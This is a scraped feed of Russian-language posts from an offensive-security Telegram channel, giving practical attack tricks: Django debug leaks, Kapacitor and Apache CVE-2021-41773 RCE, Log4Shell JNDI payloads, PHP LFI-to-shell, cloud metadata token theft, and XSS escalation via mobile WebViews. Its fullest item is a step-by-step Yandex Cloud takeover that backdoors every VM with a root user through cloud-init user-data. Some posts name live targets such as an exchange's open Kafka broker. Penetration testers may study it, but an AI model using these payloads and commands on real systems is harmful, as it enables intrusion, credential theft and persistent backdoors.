Приложения на Django в debug режиме раскрывают содержимое environment переменных при необработанном исключении.
Несмотря на наличие автоматического сокрытия значений, для переменных соответствующих регулярному выражению API|TOKEN|KEY|SECRET|PASS|SIGNATURE
, часто это приводит к утечкам через нестандартные имена переменных.
Если обнаружить debug режим можно просто обратившись к несуществующей странице, то вызвать exception иногда бывает проблематично. Даже с раскрытием существующих в приложении путей через 404-ую страницу.
Но существуют и более универсальные подходы.
Пример 1
Нестандартные символы в Host. Правда с учетом облачных сервисов этот вариант срабатывает редко.
GET / HTTP/1.1Пример 2
Host: '"
Invalid HTTP_HOST header: '\'"'. The domain name provided is not valid according to RFC 1034/1035.
POST / HTTP/1.1Читать полностью…
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: csrftoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
Content-Length: 3093
csrfmiddlewaretoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&x=&x=&x=&x=[..1000 раз..]&x=&x=&x=
Kapacitor - это система обработки данных с открытым исходным кодом, которая умеет обрабатывать метрики из InfluxDB и является частью TICK-стека. Из коробки умеет в RCE, если торчит наружу.
Для тестов:docker run --rm --net=host -it influxdb:1.8
docker run --rm -it --net=host -e KAPACITOR_INFLUXDB_0_URLS_0=http://127.0.0.1:8086 kapacitor./kapacitor_rce.sh 172.17.0.3
>
Короч, на пентесте была защита от дураков, каждая отправка запроса (POST x-www-form-urlencoded или application/json) подписывалась. Причем бралась сессия, текущий timestamp, сортировались параметры, все это оборачивалось в md5.
Эта проверка целостности передавалась в заголовке, и если не совпадала с текущими данными в POST, то обработка прерывалась. А без этого, естественно, ни Intuder, ни Scanner не работал.
Запилили плагин для Burp, добавляется через Extender -> Add -> Python, вдруг пригодится в будущем.
>
#osint #telegram
Чтобы узнать аккаунт в Telegram по его id, достаточно написать ссылку вида
t.me/@id45933
Где 45933
- интересующий нас айдишник. При переходе с мобильного клиента мы получим профиль с привязанным идентификатором.
Чтобы не добавлять к себе в контакты номер телефона, достаточно написать ссылку
t.me/+15109728359
Аналогично, при переходе по ссылке получим профиль с этим номером телефона и оригинальным именем.
>
А вот пример уязвимого кода для выполнения RCE через FTP.
Когда кто-то забирает файл, на контролируемом нами ресурсе, мы ему отдаем полезную нагрузку для эксплуатации выполнения кода (FastCGI, Redis, Zabbix).
После попытки сохранить его, мы отвечаем серверу, что переходим в пассивный режим, отправь содержимое на 127.0.0.1:9000 (или другой порт).
Это не только таск на CTF:
[1], [2]
>
Sometimes you can be a smart dude and report XSS. But maybe you were too hasty? Think about it.
http://koken.cms/preview.php?/albums/&preview=elementary/a:<?=phpcredits();?>
Запоминаем крутые порты 9092 (kafka), 2181 (zookeeper).
Видим подобное на хосте? Проверим, можно ли зайти без аутентификации.
kcat -b {IP}:9092 -u -L
В ответе будут адреса брокеров. Если брокер будет локальный, как ниже, то либо меняем в /etc/hosts временно localhost на нужный нам IP, либо пробрасываем локальный порт на нужную нам тачку.
>
Metadata for all topics (from broker -1: 103.210.236.192:9092/bootstrap):
1 brokers:
broker 0 at localhost:9092 (controller)
126 topics:
topic "LOGICAL_CONTRACT_MESSAGE_8962" with 1 partitions:
partition 0, leader 0, replicas: 0, isrs: 0
topic "traverser_klines_deals" with 1 partitions:
partition 0, leader 0, replicas: 0, isrs: 0
topic "LOGICAL_MESSAGE_8934" with 1 partitions:
partition 0, leader 0, replicas: 0, isrs: 0
Забавный способ уйти от систем защит - использовать другие системы счисления в #js для скрытия полезной нагрузки.
Например, функция parseInt может позволить перевести строку alert
в числовое значение переведя значение в 36-ричную систему счисления:
> parseInt('alert', 36)
< 17795081
Чтобы выполнить, необходимо воспользоваться функцией toString
и перевести число обратно в строку:top[17795081..toString(36)]()
>
Управляющий символ 7F (или в url браузера - %7f) предназначен для забивания ошибочно пробитых символов на семидорожечных перфолентах (поскольку обозначается пробитием дырочек во всех дорожках).
А стандартная ширина терминала составляет 80 символов, потому что именно столько влезало на перфокарту.
А CR LF (\r \n) сейчас бы сделали одним символом, но при печати листингов на терминале необходимо подать бумагу на 1 строку вперед и передвинуть каретку в левый край.
Символ \a - пикнуть спикером (BELL).
И это не шутка!
Так как Яндекс.Облако решает одну из таких задач, как импортозамещение, многие инструменты от AWS подойдут для использования в этом продукте, так как у них присутствуют одинаковые вызовы API.
Облака это не обычные виртуалки, но не все этого понимают. В AWS есть такая херь, под названием IAM (AWS Identity and Access Management), она создана для контроля доступа к сервисам Амазона. IAM позволяет не раздавать привилегии налево и направо, а запросить доступ на время. Самое смешное, что подобная технология, которая создана для защиты, чаще всего неправильно настроена и позволяет любому, кто находится на сервере запросить подобный доступ. Делается это как с помощью SSRF атак, так и после компрометации одной из машин.
Например, ручка, которая позволяет получить токен доступа для CLI API:curl http://169.254.169.254/latest/meta-data/iam/security-credentials/default
Точно такой же запрос можно выполнить в Яндекс Облаке, если неправильно настроена роль. Когда создаешь виртуальную машину в ней нет сервис аккаунта. Но вот если решишь его привязать, то тебе предложат создать сразу с ролью editor. Это «примитивная» роль с правами создавать/обновлять/удалять виртуалки. Если в ответе будет что-то такое:
{“Code":"Success","Token":"t1.H1shIqVmYuKys2Nz86Mj5LLzc-Lku3rnpWai5uKzc7OksrLlcuRnpudlovl8_dtHGl4-e8FIxs3_N3z9y1LZnj57wUjGzf8.qMl7rNwY8ztuhHWsWc1DhY6hFb3p7tp56TUYO2A1PVFs-Sjwnsohf-w0UfedZbuEt6sC0TljNya_29Ncsu2n","Expiration":"2022-02-01T01:52:18+00:00"}
То скорее всего это шанс на победу. А ручкаcurl http://169.254.169.254/latest/user-data
Вернет информацию о пользователе облака, чей токен нам сейчас показали. Смотрим на логин, открытый ключ и другие настройки.
И сейчас легким движением руки мы захватим все образы на примере Яндекс Облака. Следите за пальцами.
Рождество - время подарков и подведения итогов. Сегодня я решил сделать всем подарок - подвести итоги последних 15 лет проведения LFI в самом рождественском языке программирования - PHP.
Рассмотрим достаточно популярную (когда-то) ситуацию когда у нас есть LFI но нет возможности загрузить файл на сервер. Вот какие есть варианты получить шелл:
logs / sessions / etc
Первое что можно попробовать подгрузить - файлы логов, сессий, файловые дескрипторы или переменные окружение из procfs и т д. Идея простая и в то же время бесполезная - мы каким то либо образом влияем на подгружаемый файл (например передаём пейлоад в User-Agent и пытаемся подгрузить его из access.log) и подгружаем его через LFI. Бесполезной эта идея является потому что последние лет 10 у процесса PHP отобрали права на чтение логов и procfs, а сессии выключены, хранятся в БД (спасибо, микросервисная архитектура) или на них нет возможности повилять
phpinfo()
Ещё один старый способ, первые упоминания которого датируются 2010/2011 годом. Здесь суть заключается в том что при директиве file_uploads = on
(которая имеет это значение по умолчанию) PHP будет вычитывать файлы из тела запроса и временно хранить их в директории указанной в директиве upload_tmp_dir
. Звучит как отличное решение проблемы если бы не пара нюансов: временные файлы имеют рандомное имя и удаляются сразу же после завершения работы скрипта. В данном случае на помощь может прийти вывод phpinfo();
, если он есть где либо на сервере. Он решит первую проблему - отправив файл на этот скрипт мы сможем увидеть имя временного файла. Вторая проблема решается благодаря директиве output_buffering
которая по умолчанию имеет значение 4096
. Это значит что при превышении размера тела ответа процесс PHP будет отдавать его по серверу чанками. Теперь нам нужно только сделать так чтобы тело ответа было больше размера одного чанка, чтобы имя файла было не в последнем чанке. Далее, надеемся что сервер умеет работать с chunked ответами, вычитываем чанки до имени файла и держим коннект открытым, пока подгружаем полученное имя файла и радуемся шеллу.
https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
PHP_SESSION_UPLOAD_PROGRESS
В 2018 году один внимательный 🍊 увидел в документации PHP директиву session.upload_progress.enabled
которая включена по умолчанию и позволяет сохранять в файле сессии прогресс загрузки файла. Более того, эта директива сама создаст файл сессии даже если не было явного вызова session_start()
и положит в него прогресс загрузки файла по ключу который указывается через cookie параметра PHP_SESSION_UPLOAD_PROGRESS
. Таким образом, мы можем сами создать сессию и положить в неё свой ключ (который вместе с правильным использованием фильтров может стать для нас золотым ключиком). Но возникает очередная проблема - сессия будет очищена как только загрузка файла будет завершена. Здесь очевидно два решения - рейсить загрузку файла и его подключение или же подержать загрузку файла подольше.
https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html
tempfile bruteforce / php crash
Предыдущий метод хорош, но может случиться так что директива session.upload_progress.enabled
выключена. В таком случае очень полезно вспомнить какой на дворе год и воспользоваться всеми благами широких каналов и быстрого сетевого стека. При возможности задержать исполнение скрипта на достаточное время (например наличие SSRF или чтения файла, что в целом в PHP почти одно и то же) мы можем попытаться набрутить имя временного файла. Удивительно, но такой подход пару раз лично у меня срабатывал и успешная эксплуатация занимала порядка пары часов. Если же мы не хотим сильно нагружать сервер, то можно поискать в багтрекере парочку сегфолтов для необходимой версии PHP. Очевидно, при падении PHP не будет удалять временный файл, тем самым сильно облегчая нам последующий брутфорс.
ZzDmROodQUynQsF9je3Q5Q/Hk-2nUb3Q?type=view" rel="nofollow">https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/Hk-2nUb3Q?type=view
У половины интернета нашли выполнение произвольного кода через Log4j.
Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”
Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
Задача: быстро отсканировать с помощью nmap большую подсеть.
Из-за количества хостов сканирование будет длиться сутки, неделю или больше, а с данными хочется работать в ближайшее время.
Одно из решений - это использовать многоходовочку, поделить сканирование на несколько шагов и быстро получить данные самых популярных портов, пока редкие порты сканируются.
Играемся с таймаутом RTT, таймаутом хостов (tarpit еще никто не отменял), количеством попыток на ответ и другие настройки.
Но если нам нужно увеличить точность, то запускаем с -Pn
, если скорость, то без него.
Кстати, nmap умеет импортировать данные предыдущего сканирования и работать уже с ним, например, nmap --script-args newtargets,state=up,iX=scan.xml
запустит сканирование взяв в качестве целей для сканирования хосты из файла scan.xml, которые находились в статусе up в тот момент.
Важно, что если у хоста не будет открытых портов из топа, то он не попадет в выдачу первого шага, и втором и третьем шаге его попросту не будет.
Ставим как исходящий порт - 53 (DNS), чтобы обмануть некоторые наркоманские настройки фаерволов, получаем подобный скрипт.
Во время сканирования забираем полученные XML файлы, загружаем в нужный нам софт.
В других случаях используем Masscan и RustScan.
Параметры можно передавать не только в виде привычного Query, типа:site/path?param=123¶m2=456
Есть такая штука, называется Path-Style Parameter Expansion (или Matrix в Spring).
Выглядит это подобным образом:site/path;param=123;param2=456
Главное отличие, что Path Parameters можно передавать к конкретному пути, в то время как query применяется к запросу в целом:site/user;id=123/send;message=456/?page=789
Так вот, в Tomcat/Jetty знак ;
укажет, что дальше идут эти параметры до следующего символа /
. А если впереди стоит nginx/apache, то символ для него ничего не значит, это будет просто частью имени директории.
Таким образом, обращение на условный /doc/..;abc=def/manager
приведет к тому, что Tomcat обратится к /doc/../manager
, то есть выйдет из текущего сервлета и обратится к manager (админка tomcat).
P.S. Я всегда думал, что ; для Java, это что-то вроде нульбайта, который обрезает строку (в weblogic, кстати, обрезается вся строка). Но GreenDog (можно познакомиться с ним у МимоКрокодила) мне рассказал, откуда корни растут.
P.P.S. Еще по теме, Orange Tsai с примерами на BlackHat (с 40й страницы)
Один из способов узнать, что через какой-то веб-сервер проксируется Apache, это отправить ему заголовокMax-Forwards: 0
В ответе будет ошибка.
>
Анонс Cure53 о том, что они убьют XSS как класс уязвимостей похож на правду. DOMPurify теперь встроен в браузеры и тестируется.
// this is safe by default
document.body.setHTML('unsafe HTML here')
about:config#dom.security.sanitizer.enabled
chrome://flags#enable-experimental-web-platform-features
#mobile #deeplink
Если вы нашли XSS на сайте, но у неё низкий impact — не удаётся "украсть" аккаунт жертвы или актив вне скоупа.
Вам стоит поискать мобильное приложение, которое содержит WebView функциональность и присваивает токен при открытии страницы.
Возьмём для примера приложение от PayPal.
Открыв его в декомпиляторе можно найти функцию около webview функциональности boolean isSecureVenmoHostUrl(Uri uri)
Внутри неё обнаруживаем хосты host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith(".venmo.biz")
Теперь нужно проверить возможно ли передать свой url в класс webview.
Если да, составляем полезную нагрузку: <a href="venmo://webview?url=https://legal.venmo.com/index.php?p=<svg>">PoC Send</a>
Это был пример как поднять xss, до чего-то существенного. При открытии ссылки, возможно украсть access_token и получить доступ к платежам пользователя.
Такая же функциональность в приложении TripAdvisor:Pattern f30622a = Pattern.compile("^(?:https?\\:\\/\\/(?:[A-Za-z0-9_\\-]+\\.(dhcp(\\-[A-Za-z]+)?\\.([A-Za-z0-9_\\-]+\\.corp\\.)?|(nw\\.)?dev(\\-[A-Za-z]+)?\\.|cmc\\.|d\\.)?)?tripadvisor\\.(?:com|(?:[a-z]{2})|(?:(?:co|com)\\.[a-z]{2})))?\\/.*$");
В перечисленных случаях выше, разработчики исправляют только xss, поэтому вы всё ещё можете это воспроизвести.
В некоторых случаях доступ к FTP это еще и SSRF.
Плюсы: FTP тупой, как пробка
Минусы: Активный режим редко где включен.
После подключения с помощью netact, мы можем отправить файл (который мы залили) в произвольное место.RETR file
- готовит содержимое файла к отправкеPORT 1,2,3,4,5,6
- куда отправить содержимое, где первые 4 цифры это IP, а 2 последние это 5*256+6
Из примера выше, PORT 127,0,0,1,31,144
это 127.0.0.1:8080 (31*256+144).
>
Используем утилиты KaDeck или Offset Explorer для просмотра или изменения содержимого. Пример на скриншоте и выше - биржа okx.com.
Меняем циферки, пробуем эксплойт с log4j)
>
Нажмите на кнопку ниже, чтобы получить платный доступ к «Кавычка за донаты».
1. Для подписки на платный канал нажмите кнопку «Подать заявку».
2. Открыть чат с ботом @donate.
3. Произвести оплату.
Уязвимости и атаки на CMS Bitrix
1. Особенности
2. Уязвимости
3. Методы атак
Приятного чтения!
Берем известный нам IAM_TOKEN. Получаем почту и id пользователя:curl -H "Authorization: Bearer {IAM_TOKEN}" "https://iam.api.cloud.yandex.net/iam/v1/yandexPassportUserAccounts:byLogin?login={LOGIN}"
Получаем идентификатор инстанса:curl -H Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/id
Забираем информацию о текущем инстансе, нас интересует folderId:curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}"
С помощью folderId получаем список всех виртуальных машин в облаке:curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances?folderId={folderId}"
В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.
А теперь самое интересное, получаем всю метадату для каждого инстанса:curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}?view=FULL"
Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\
n
Пушим изменения:
POST /compute/v1/instances/epd48d7l217cs3eqgb1b/updateMetadata HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 1337
content-type: application/x-www-form-urlencoded
{
"upsert": {
"serial-port-enable": "1",
...
"user-data": "#cloud-config\ndatasource:\n Ec2:\n strict_id: false\nssh_pwauth: no\nbootcmd:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\nusers:\n- name: bankprod\n sudo: ALL=(ALL) NOPASSWD:ALL\n shell: /bin/bash\n ssh-authorized-keys:\n - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEs7/GMUMCm6ncksXdcYf1+XSPkdVXvNdlUJZiJkGHBa bankprod@develop"
}
}
И делаем рестарт:
POST /compute/v1/instances/{instanceId}:restart HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 37
content-type: application/x-www-form-urlencoded
{"instanceId":"{instanceId}"}
Поздравляю. У вас десятки, а может и сотни виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
compress
В случае если у нас выключена директива file_uploads
можно воспользоваться очередным трюком - некоторые врапперы в PHP тоже любят создавать временные файлы. Например, если приложение вызывает file_get_contents
с нашими аргументами, то можно чтение compress.zlib://http://hostname/
создаст такой же произвольный файл как и в случае с аплоадом. А дальше уже пользуемся предыдущим способом для его подключения
https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
nginx buffer file
В современном мире сложно представить что PHP работает не в качестве FastCGI бэкенда для nginx. Удивительно, но благодаря этому есть способ успешно провести атаку даже если в PHP сильно огорожен отбиранием прав или другими жестокими методами. И всё это возможно благодаря буферам nginx. Если на каком либо этапе проксирования запрос или ответ не влезают в буфер в памяти, то они будут записаны на диск. Но и тут не обошлось без проблем - сразу после создания файла и перед тем как туда что либо записать, nginx удаляет файл, а дальше продолжает работать с файловым дескриптором. Кажется, что мы могли бы попробовать подключить файловый дескриптор через procfs, но и тут очередная проблема - перед подключением файла PHP делает на него lstat чтобы разрезолвить возможные символьные ссылки, и если файл не существует (как в нашем случае) то чуда не произойдёт. К счастью, и тут есть свой обход - из-за возможных проведение корректного lstat требует рекурсивного подхода, а стало быть и должно быть ограничение на глубину рекурсии. Таким образом, если вложенность ссылок будет достаточно высокой, то PHP не сможет понять что файл удалён и успешно его подключит
https://tttang.com/archive/1384/
Я просто оставлю это здесь.
OTP от гугла можно предсказать/перехватить 🤔
Есть идеи?)
Недавняя CVE-2021-41773 в Apache 2.4.49, это не только выход из директории с чтением файлов, как многие подумали curl --data "A=|echo;id" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
В ASP.NET
есть удобная олдскульная фича - cookieless session. Она осталась ещё с тех времён, когда куки поддерживались не всеми браузерами и сессию приходилось передавать внутри URL.
Например, http://www.example.com/(S(lit3py55t21z5v55vlm25s55))/default.aspx
При использовании Control.ResolveUrl метода, это значение может выводится без корректного энкодинга символов, что может давать нам XSS-ку:<script src="<%= ResolveUrl("~/Script.js") %>"></script>
+http://example.com/(A(%22onerror=%22alert`1`%22))/default.aspx
->
<script src="/(A("onerror="alert`1"))/Script.js"></script>
http://victim.com/admin
- 403http://victim.com/(A(ABCD))/admin
- 200.NET 2.0-4.8
. В .NET Core
всех версий и в .NET5
это не поддерживается.
Читать полностью…